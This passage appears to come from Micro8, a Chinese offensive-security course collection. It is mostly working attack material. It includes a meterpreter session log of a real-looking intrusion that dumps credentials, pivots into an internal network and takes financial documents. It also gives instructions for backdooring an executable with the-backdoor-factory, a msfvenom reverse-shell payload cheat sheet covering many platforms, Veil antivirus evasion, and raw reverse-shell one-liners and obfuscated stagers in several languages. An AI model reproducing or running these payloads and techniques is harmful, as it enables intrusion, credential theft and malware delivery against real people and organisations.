x86 0 NT AUTHORITY\\SYSTEM C:\\WINDOWS\\system32\\inetsrv\\inetinfo.exe 1252 424 sqlservr.exe x86 0 NT AUTHORITY\\SYSTEM C:\\PROGRA\\~1\\MICROS~1\\MSSQL\\binn\\sqlservr.exe 1304 424 mysqld.exe x86 0 NT AUTHORITY\\SYSTEM C:\\Program Files\\MySQL\\MySQL Server 5.1\\bin\\mysqld.exe 1348 424 svchost.exe x86 0 NT AUTHORITY\\LOCAL SERVICE C:\\WINDOWS\\system32\\svchost.exe 1408 424 vmtoolsd.exe x86 0 NT AUTHORITY\\SYSTEM C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe 1472 424 mssearch.exe x86 0 NT AUTHORITY\\SYSTEM C:\\Program Files\\Common Files\\System\\MSSearch\\Bin\\mssearch.exe 1720 424 svchost.exe x86 0 NT AUTHORITY\\SYSTEM C:\\WINDOWS\\System32\\svchost.exe 2128 2084 explorer.exe x86 0 xxxxxxxxxxxx\\Administrator C:\\WINDOWS\\Explorer.EXE 2208 2128 vmtoolsd.exe x86 0 xxxxxxxxxxxx\\Administrator C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe 2232 2128 ctfmon.exe x86 0 xxxxxxxxxxxx\\Administrator C:\\WINDOWS\\system32\\ctfmon.exe 2244 2128 sqlmangr.exe x86 0 xxxxxxxxxxxx\\Administrator C:\\Program Files\\Microsoft SQL Server\\80\\Tools\\Binn\\sqlmangr.exe 2396 424 svchost.exe x86 0 NT AUTHORITY\\SYSTEM C:\\WINDOWS\\System32\\svchost.exe 2440 424 dllhost.exe x86 0 NT AUTHORITY\\SYSTEM C:\\WINDOWS\\system32\\dllhost.exe 3008 2128 cmd.exe x86 0 xxxxxxxxxxxx\\Administrator C:\\WINDOWS\\system32\\cmd.exe 3024 3008 conime.exe x86 0 xxxxxxxxxxxx\\Administrator C:\\WINDOWS\\system32\\conime.exe 3180 636 wmiprvse.exe x86 0 NT AUTHORITY\\SYSTEM C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe 3248 828 wuauclt.exe xxxxxxxxxxxx\\Administrator C:\\WINDOWS\\system32\\wuauclt.exe 3380 376 logon.scr x86 0 xxxxxxxxxxxx\\Administrator C:\\WINDOWS\\System32\\logon.scr meterpreter > migrate 2128 [*] Migrating from 3104 to 2128... [*] Migration completed successfully. meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\\SYSTEM meterpreter > msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials =============== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;109205 NTLM xxxxxxxxxxxx Administrator lm{ xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}, ntlm{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx } 0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx }, ntlm{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx } 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) 0;54469 NTLM n.s. (Credentials KO) 0;999 NTLM WORKGROUP xxxxxxxxxxxx\\$ n.s. (Credentials KO) meterpreter > kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials ==================== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;996 Negotiate NT AUTHORITY NETWORK SERVICE 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;54469 NTLM 0;999 NTLM WORKGROUP xxxxxxxxxxxx$ 0;109205 NTLM xxxxxxxxxxxx Administrator 123456 meterpreter > portfwd add -l 3389 -r x.x.x.x -p 3389 #IP已做处理 [*] Local TCP relay created: :3389 x.x.x.x:3389 meterpreter > portfwd Active Port Forwards ==================== Index Local Remote Direction ----- ----- ------ --------- 1 0.0.0.0:3389 x.x.x.x:3389 Forward 1 total active port forwards. root@xxxx:/# rdesktop 127.0.0.1:3389 Autoselected keyboard map en-us Failed to negotiate protocol, retrying with plain RDP. WARNING: Remote desktop does not support colour depth 24; falling back to 16 meterpreter > run autoroute -h [*] Usage: run autoroute [-r] -s subnet -n netmask [*] Examples: [*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0 [*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0 [*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay [*] run autoroute -p # Print active routing table [*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route [*] Use the \"route\" and \"ipconfig\" Meterpreter commands to learn about available routes [-] Deprecation warning: This script has been replaced by the post/windows/manage/autoroute module meterpreter > ifconfig Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 Interface 2 ============ Name : Broadcom NetXtreme Gigabit Ethernet - McAfee NDIS Intermediate Filter Miniport Hardware MAC : 00:11:25:40:77:8f MTU : 1500 IPv4 Address : 10.23.255.3 IPv4 Netmask : 255.255.255.0 meterpreter > run autoroute -s 10.23.255.3 -n 255.255.255.0 [*] Adding a route to 10.23.255.3/255.255.255.0... [+] Added route to 10.23.255.3/255.255.255.0 via 61.57.243.227 [*] Use the -p option to list all active routes meterpreter > run autoroute -p Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 10.23.255.3 255.255.255.0 Session 3 meterpreter > ifconfig Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 Interface 2 ============ Name : Broadcom NetXtreme Gigabit Ethernet - McAfee NDIS Intermediate Filter Miniport Hardware MAC : 00:11:25:40:77:8f MTU : 1500 IPv4 Address : 10.23.255.3 IPv4 Netmask : 255.255.255.0 meterpreter > Background session 3? [y/N] msf auxiliary(tcp) > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > show options Module options (auxiliary/scanner/portscan/tcp): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host DELAY 0 yes The delay between connections, per thread, in milliseconds JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 445,80,3389,22 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS 10.23.255.1-255 yes The target address range or CIDR identifier THREADS 10 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds 最终得到了域控权限,并且得到了跨段的服务器权限。得到了个人机的重要权限,以及公司财报doc。 部分截图如下:由于时间问题,顺序可能打乱了。 跳段, 个人机 放弃权限,所有操作并未更改,下载,删除等一切损害该公司的行为。 至此由虚拟机跳段到了工作办公机,(典型的A-B-C类跳板)得到了该公司的下年计划,人员组织构架,财务报表,盈利情况,以及内部相关work文档等。 --By Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/9_工具介绍-the-backdoor-factory.html":{"url":"Chapter1/9_工具介绍-the-backdoor-factory.html","title":"第九课:工具介绍-the-backdoor-factory","keywords":"","body":"工具介绍 the-backdoor-factory 项目地址: https://github.com/secretsquirrel/the-backdoor-factory 原理 可执行二进制文件中有大量的 00,这些 00 是不包含数据的,将这些数据替换成 payload,并且在程序执行的时候,jmp 到代码段,来触发 payload。 以项目中的过磅系统为例: root@John:~/Desktop# git clone https://github.com/secretsquirrel/the-backdoor-factory.git //安装the-backdoor-factory root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -S //检测是否支持后门植入 root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -c -l 150 //测试裂缝空间size150 root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -s show //查看可用payload root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -H 192.168.1.111 -P 8080 -s iat_reverse_tcp_stager_threaded //插入payload,并生成文件。 root@John:~/Desktop/the-backdoor-factory# md5sum ./guobang.exe /root/demo/guobang.exe //对比原文件与生成文件MD5值 root@John:~/Desktop/the-backdoor-factory# du -k ./guobang.exe /root/demo/guobang.exe //对比文件大小 msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.111 lhost => 192.168.1.111 msf exploit(handler) > set lport 8080 lport => 8080 msf exploit(handler) > exploit -j //开启本地监听 //打开软件 meterpreter > getuid Server username: John-PC\\John //确定目标 --By Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/10_msfvenom常用生成payload命令.html":{"url":"Chapter1/10_msfvenom常用生成payload命令.html","title":"第十课:msfvenom常用生成payload命令","keywords":"","body":"msfvenom 常用生成 Payload 命令 windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\\x00\\x0a\\xff' -i 3 -f exe -o payload.exe mac: msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f macho -o payload.macho android: //需要签名 msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f apk -o payload.apk powershell: msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1 linux: msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf php: msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php aspx: msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f aspx -o payload.aspx jsp: msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.jsp war: msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw - o payload.war nodejs: msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.js python: msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.py perl: msfvenom -p cmd/unix/reverse_perl LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.pl ruby: msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.rb lua: msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.lua windows shellcode: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c linux shellcode: msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c mac shellcode: msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c 便捷化payload生成: 项目地址: https://github.com/Screetsec/TheFatRat root@John:~/Desktop# git clone https://github.com/Screetsec/TheFatRat.git //设置时需要挂墙 附录: 中文使用说明: Options: -p, --payload 使用指定的payload --payload-options 列出该payload参数 -l, --list [type] 列出所有的payloads -n, --nopsled 为payload指定一个 nopsled 长度 -f, --format 指定payload生成格式 --help-formats 查看所有支持格式 -e, --encoder 使用编码器 -a, --arch 指定payload构架 --platform 指定payload平台 --help-platforms 显示支持的平台 -s, --space 设定payload攻击荷载的最大长度 --encoder-space The maximum size of the encoded payload (defaults to the -s value) -b, --bad-chars 指定bad-chars 如: '\\x00\\xff' -i, --iterations 指定编码次数 -c, --add-code 指定个win32 shellcode 文件 -x, --template 指定一个 executable 文件作为模板 -k, --keep payload自动分离并注入到新的进程 -o, --out 存放生成的payload -v, --var-name 指定自定义变量 --smallest Generate the smallest possible payload -h, --help 显示帮助文件 --By Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Content/11-20.html":{"url":"Content/11-20.html","title":"11-20课","keywords":"","body":"第十一课:工具介绍Veil-Evasion 第十二课:基于UDP发现内网存活主机 第十三课:基于ARP发现内网存活主机 第十四课:基于第十课补充payload1 第十五课:基于第十课补充payload2 第十六课:红蓝对抗渗透测试1 第十七课:红蓝对抗渗透测试2 第十八课:红蓝对抗渗透测试3 第十九课:基于netbios发现内网存活主机 第二十课:基于snmp发现内网存活主机 Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/11_工具介绍Veil-Evasion.html":{"url":"Chapter1/11_工具介绍Veil-Evasion.html","title":"第十一课:工具介绍Veil-Evasion","keywords":"","body":"工具介绍 Veil-Evasion 项目地址:https://github.com/Veil-Framework/Veil-Evasion 1、Veil-Evasion Veil-Evasion 是与 Metasploit 生成相兼容的 Payload 的一款辅助框架,并可以绕过大多数的杀软。 Veil-Evasion 并没有集成在kali,配置 sources.list,可直接 apt-get。 root@John:~/Deskto#cat /etc/apt/sources.list #中科大 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib #阿里云 #deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib #deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib #清华大学 #deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free #deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free #浙大 #deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free #deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free #东软大学 #deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib #deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib #官方源 deb http://http.kali.org/kali kali-rolling main non-free contrib deb-src http://http.kali.org/kali kali-rolling main non-free contrib #重庆大学 #deb http://http.kali.org/kali kali-rolling main non-free contrib #deb-src http://http.kali.org/kali kali-rolling main non-free contrib 2、安装 root@John:~/Desktop# apt-get install veil-evasion 由于在实验中本机已经安装,所以我们在虚拟机中使用 git 方式来下载和安装。(以便截图)ps:本次 kali 下截图使用 scrot root@John:~/Deskto# apt-get install scrot root@John:~/Deskto# scrot -s //即可 root@John:~/Deskto# git clone https://github.com/Veil-Framework/Veil-Evasion.git root@John:~/Veil-Evasion# ./setup.sh //安装漫长 3、测试 以 c/meterpreter/rev_tcp 为例: ps:Veil-Evasion 不再更新,新版本项目地址:https://github.com/Veil-Framework/Veil 4、附录: [*] 可支持生成payloads: 1) auxiliary/coldwar_wrapper 2) auxiliary/macro_converter 3) auxiliary/pyinstaller_wrapper 4) c/meterpreter/rev_http 5) c/meterpreter/rev_http_service 6) c/meterpreter/rev_tcp 7) c/meterpreter/rev_tcp_service 8) c/shellcode_inject/flatc 9) cs/meterpreter/rev_http 10) cs/meterpreter/rev_https 11) cs/meterpreter/rev_tcp 12) cs/shellcode_inject/base64_substitution 13) cs/shellcode_inject/virtual 14) go/meterpreter/rev_http 15) go/meterpreter/rev_https 16) go/meterpreter/rev_tcp 17) go/shellcode_inject/virtual 18) native/backdoor_factory 19) native/hyperion 20) native/pe_scrambler 21) perl/shellcode_inject/flat 22) powershell/meterpreter/rev_http 23) powershell/meterpreter/rev_https 24) powershell/meterpreter/rev_tcp 25) powershell/shellcode_inject/download_virtual 26) powershell/shellcode_inject/download_virtual_https 27) powershell/shellcode_inject/psexec_virtual 28) powershell/shellcode_inject/virtual 29) python/meterpreter/bind_tcp 30) python/meterpreter/rev_http 31) python/meterpreter/rev_http_contained 32) python/meterpreter/rev_https 33) python/meterpreter/rev_https_contained 34) python/meterpreter/rev_tcp 35) python/shellcode_inject/aes_encrypt 36) python/shellcode_inject/aes_encrypt_HTTPKEY_Request 37) python/shellcode_inject/arc_encrypt 38) python/shellcode_inject/base64_substitution 39) python/shellcode_inject/des_encrypt 40) python/shellcode_inject/download_inject 41) python/shellcode_inject/flat 42) python/shellcode_inject/letter_substitution 43) python/shellcode_inject/pidinject 44) python/shellcode_inject/stallion 45) ruby/meterpreter/rev_http 46) ruby/meterpreter/rev_http_contained 47) ruby/meterpreter/rev_https 48) ruby/meterpreter/rev_https_contained 49) ruby/meterpreter/rev_tcp 50) ruby/shellcode_inject/base64 51) ruby/shellcode_inject/flat --By Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/12_基于UDP发现内网存活主机.html":{"url":"Chapter1/12_基于UDP发现内网存活主机.html","title":"第十二课:基于UDP发现内网存活主机","keywords":"","body":"基于 UDP 发现内网存活主机 UDP简介: UDP(User Datagram Protocol)是一种无连接的协议,在第四层-传输层,处于IP协议的上一层。UDP有不提供数据包分组、组装和不能对数据包进行排序的缺点,也就是说,当报文发送之后,是无法得知其是否安全完整到达的。 UDP显著特性: UDP 缺乏可靠性。UDP 本身不提供确认,超时重传等机制。UDP 数据报可能在网络中被复制,被重新排序,也不保证每个数据报只到达一次。 UDP 数据报是有长度的。每个 UDP 数据报都有长度,如果一个数据报正确地到达目的地,那么该数据报的长度将随数据一起传递给接收方。而 TCP 是一个字节流协议,没有任何(协议上的)记录边界。 UDP 是无连接的。UDP 客户和服务器之前不必存在长期的关系。大多数的UDP实现中都选择忽略源站抑制差错,在网络拥塞时,目的端无法接收到大量的UDP数据报 UDP 支持多播和广播。 1、nmap扫描 root@John:~# nmap -sU -T5 -sV --max-retries 1 192.168.1.100 -p 500 慢的令人发指 2、msf扫描 msf > use auxiliary/scanner/discovery/udp_probe msf > use auxiliary/scanner/discovery/udp_sweep 3、unicornscan扫描 linux下使用推荐 root@John:~# unicornscan -mU 192.168.1.100 4、ScanLine扫描 项目地址:https://www.mcafee.com/ca/downloads/free-tools/scanline.aspx网盘地址:http://pan.baidu.com/s/1i4A1wLR密码:hvyx McAfee出品,win下使用推荐。管理员执行。 附录: 在线基于Nmap的udp扫描:https://pentest-tools.com/network-vulnerability-scanning/udp-port-scanner-online-nmap --By Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/13_基于ARP发现内网存活主机.html":{"url":"Chapter1/13_基于ARP发现内网存活主机.html","title":"第十三课:基于ARP发现内网存活主机","keywords":"","body":"基于 ARP 发现内网存活主机 ARP简介: ARP,通过解析网路层地址来找寻数据链路层地址的一个在网络协议包中极其重要的网络传输协议。根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址 1、nmap扫描 root@John:~# nmap -sn -PR 192.168.1.1/24 2、msf扫描 msf > use auxiliary/scanner/discovery/arp_sweep msf auxiliary(arp_sweep) > show options Module options (auxiliary/scanner/discovery/arp_sweep): Name Current Setting Required Description ---- --------------- -------- ----------- INTERFACE no The name of the interface RHOSTS yes The target address range or CIDR identifier SHOST no Source IP Address SMAC no Source MAC Address THREADS 1 yes The number of concurrent threads TIMEOUT 5 yes The number of seconds to wait for new data msf auxiliary(arp_sweep) > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf auxiliary(arp_sweep) > set THREADS 10 3、netdiscover root@John:~# netdiscover -r 192.168.1.0/24 -i wlan0 4、arp-scan(linux) (推荐)速度与快捷 项目地址:https://linux.die.net/man/1/arp-scanarp-scan没有内置kali,需要下载安装。 5、Powershell c:\\tmp>powershell.exe -exec bypass -Command \"Import-Module .\\arpscan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24\" 6、arp scannet 项目地址:https://sourceforge.net/projects/arpscannet/files/arpscannet/arpscannet%200.4/ 7、arp-scan(windows) (推荐)速度与快捷arp-scan.exe -t 192.168.1.1/24 项目地址:https://github.com/QbsuranAlang/arp-scan-windows-/tree/master/arp-scan (非官方) 8、arp-ping.exe arp-ping.exe 192.168.1.100 9、其他 如cain的arp发现,一些开源py,pl脚本等,不一一介绍。 附录: 以上非内置文件网盘位置。后门自查。链接:https://pan.baidu.com/s/1boYuraJ密码:58wf --By Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/14_基于第十课补充payload1.html":{"url":"Chapter1/14_基于第十课补充payload1.html","title":"第十四课:基于第十课补充payload1","keywords":"","body":"基于第十课补充 Payload 1 在实战中可能会遇到各种诉求 payload,并且可能遇到各种实际问题,如杀毒软件,防火墙拦截,特定端口通道,隧道等问题。这里我们根据第十课补充其中部分,其他内容后续补充。 这次主要补充了 PHP,python,ruby。 ps:在线代码高亮:http://tool.oschina.net/highlight 1、php-payload msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.107 LHOST => 192.168.1.107 &3 2>&3\"); ?> 2、python-payload msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.107 LHOST => 192.168.1.107 import socket,struct,time for x in range(10): try: s=socket.socket(2,socket.SOCK_STREAM) s.connect(('x.x.x.x',xx)) break except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d) import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"xx.xx.xx.xx\",xx)); i\"]); import socket import subprocess s=socket.socket() s.connect((\"xx.xx.xx.xx\",xx)) while 1: p = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.send(p.stdout.read() + p.stderr.read() ) 删除特征: root@John:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=8.8.8.8 LPORT=88 -f c | tr -d '\"' | tr -d '\\n' from ctypes import * reverse_shell = \"\\xfc\\xe8\\x82\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xc0\\x64\\x8b\\x50\\x30\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72 micropoorshell = create_string_buffer(reverse_shell, len(reverse_shell)) shellcode = cast(micropoorshell, CFUNCTYPE(c_void_p)) shellcode() 2、ruby-payload require 'socket';c=TCPSocket.new(\"xx.xx.xx.xx\", x);$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdi (IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil} require 'socket';f=TCPSocket.open(\"xx.xx.xx.xx\",xx).to_i;exec sprintf(\"/bin/sh -i &%d 2>&%d\",f,f,f) require 'socket';c=TCPSocket.new(\"xx.xx.xx.xx\",\"xx\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end c=TCPSocket.new(\"xx.xx.xx.xx\",\"xx\");while(cmd=c.gets);IO.popen(cmd,\"r\"){\\|io\\|c.print io.read}end --By Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/15_基于第十课补充payload2.html":{"url":"Chapter1/15_基于第十课补充payload2.html","title":"第十五课:基于第十课补充payload2","keywords":"","body":"在实战中可能会遇到各种诉求 payload,并且可能遇到各种实际问题,如杀毒软件,防火墙拦截,特定端口通道,隧道等问题。这里我们根据第十课补充其中部分,其他内容后续补充。 这次主要补充了 C#,Bash ps:在线代码高亮:http://tool.oschina.net/highlight 1、C#-payload msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.107 LHOST => 192.168.1.107 混淆: using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System. namespace RkfCHtll { class LiNGeDokqnEH { static byte[] idCWVw(string VVUUJUQytjlL, int eMcukOUqFuHbUv) { IPEndPoint nlttgWAMdEQgAo = new IPEndPoint(IPAddress.Parse(VVUUJUQytjlL), eMcukOUqFuHbUv); Socket fzTiwdk = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); try { fzTiwdk.Connect(nlttgWAMdEQgAo);} catch { return null;} byte[] gJVVagJmu = new byte[4]; fzTiwdk.Receive(gJVVagJmu, 4, 0); int GFxHorfhzft = BitConverter.ToInt32(gJVVagJmu, 0); byte[] mwxyRsYNn = new byte[GFxHorfhzft + 5]; int yVcZAEmXaMszAc = 0; while (yVcZAEmXaMszAc 2、Bash-payload i >& /dev/tcp/xx.xx.xx.xx/xx 0>&1 exec 5<>/dev/tcp/xx.xx.xx.xx/xx cat &5 >&5;done 附录: msfvenom 生成 bash root@John:~# msfvenom -p cmd/unix/reverse_bash LHOST=xx.xx..xx.xx LPORT=xx > -f raw > payload.sh 参数简化 项目地址:https://github.com/g0tmi1k/mpc Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-25 "},"Chapter1/16_红蓝对抗渗透测试1.html":{"url":"Chapter1/16_红蓝对抗渗透测试1.html","title":"第十六课:红蓝对抗渗透测试1","keywords":"","body":"前言: 在团体渗透测试的项目中,如红蓝对抗,团队渗透测试比赛等,最重要的是过程与结果实时共享于团队,例如:A同学nmap目标站,B同学也nmap目标站,这在对抗比赛中是极其浪费时间也是非常容易引起防火墙,日志服务器或其他设备的警觉。所以打算写一系列关于未来团队渗透的对抗。争取做到过程与结果,团队实时共享。把曾经的团队作战经验形成一个适应对抗,比赛等的参考。 BloodHound简介: BloodHound是2016年出现大家的视线中,它是一个分析和解读AD中权限关系的一个工具。对于攻击者来说,能快速的获取到域中的线索以便进行下一步攻击,而对于防御者来说,可以更快速的得知攻击者可能采取的攻击途径以及域中的可突破的途径。 项目地址: https://github.com/BloodHoundAD/BloodHound Debian上安装: root@John:~# apt-get install git wget curl root@John:~# wget -O - https://debian.neo4j.org/neotechnology.gpg.key|sudo apt-key add root@John:~# echo 'deb http://debian.neo4j.org/repo stable/' | sudo tee /etc/apt/sources.list.d/neo4j.list root@John:~# apt-get install openjdk-8-jdk openjdk-8-jre root@John:~# apt-get install neo4j root@John:~# echo \"dbms.active_database=graph.db\" >> /etc/neo4j/neo4j.conf root@John:~# echo \"dbms.connector.http.address=0.0.0.0:7474\" >> /etc/neo4j/neo4j.conf root@John:~# echo \"dbms.connector.bolt.address=0.0.0.0:7687\" >> /etc/neo4j/neo4j.conf root@John:~# tail /etc/neo4j/neo4j.conf # Name of the service dbms.windows_service_name=neo4j #******************************************************************** # Other Neo4j system properties #******************************************************************** dbms.jvm.additional=-Dunsupported.dbms.udc.source=tarball dbms.active_database=graph.db dbms.connector.http.address=0.0.0.0:7474 dbms.connector.bolt.address=0.0.0.0:7687 root@John:~j# update-java-alternatives -l java-1.8.0-openjdk-amd64 1081 /usr/lib/jvm/java-1.8.0-openjdk-amd64 root@John:~j# update-java-alternatives -s java-1.8.0-openjdk-amd64 下载地址:https://neo4j.com/download/ root@John:~/Downloads# tar zxvf neo4j-community-3.3.0-unix.tar.gz root@John:~/Downloads/neo4j-community-3.3.0/bin# ./neo4j start Active database: graph.db Directories in use: home: /root/Downloads/neo4j-community-3.3.0 config: /root/Downloads/neo4j-community-3.3.0/conf logs: /root/Downloads/neo4j-community-3.3.0/logs plugins: /root/Downloads/neo4j-community-3.3.0/plugins import: /root/Downloads/neo4j-community-3.3.0/import data: /root/Downloads/neo4j-community-3.3.0/data certificates: /root/Downloads/neo4j-community-3.3.0/certificates run: /root/Downloads/neo4j-community-3.3.0/run Starting Neo4j. WARNING: Max 1024 open files allowed, minimum of 40000 recommended. See the Neo4j manual. Started neo4j (pid 4286). It is available at http://localhost:7474/ There may be a short delay until the server is ready. See /root/Downloads/neo4j-community-3.3.0/logs/neo4j.log for current status. root@John:~# apt-get install bloodhound root@John:~/Downloads/neo4j-community-3.3.0/bin# nmap 127.0.0.1 -p 7474 Starting Nmap 7.40 ( https://nmap.org ) at 2017-12-02 11:16 EST Nmap scan report for localhost (127.0.0.1) Host is up (0.00011s latency). PORT STATE SERVICE 7474/tcp open neo4j Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/17_红蓝对抗渗透测试2.html":{"url":"Chapter1/17_红蓝对抗渗透测试2.html","title":"第十七课:红蓝对抗渗透测试2","keywords":"","body":"前言: 在团体渗透测试的项目中,如红蓝对抗,团队渗透测试比赛等,最重要的是过程与结果实时共享于团队,例如:A同学nmap目标站,B同学也nmap目标站,这在对抗比赛中是极其浪费时间也是非常容易引起防火墙,日志服务器或其他设备的警觉。所以打算写一系列关于未来团队渗透的对抗。争取做到过程与结果,团队实时共享。把曾经的团队作战经验形成一个适应对抗,比赛等的参考。 popy简介: Pupy是一个开源,跨平台(Windows,Linux,OSX,Android),多功能RAT(远程管理工具)和主要用python编写的后期开发工具。它具有全内存读取操作,进程注入等。Pupy可以使用各种传输进行通信,迁移到进程(注入),从内存加载远程Python代码。 项目地址:https://github.com/n1nj4sec/pupy 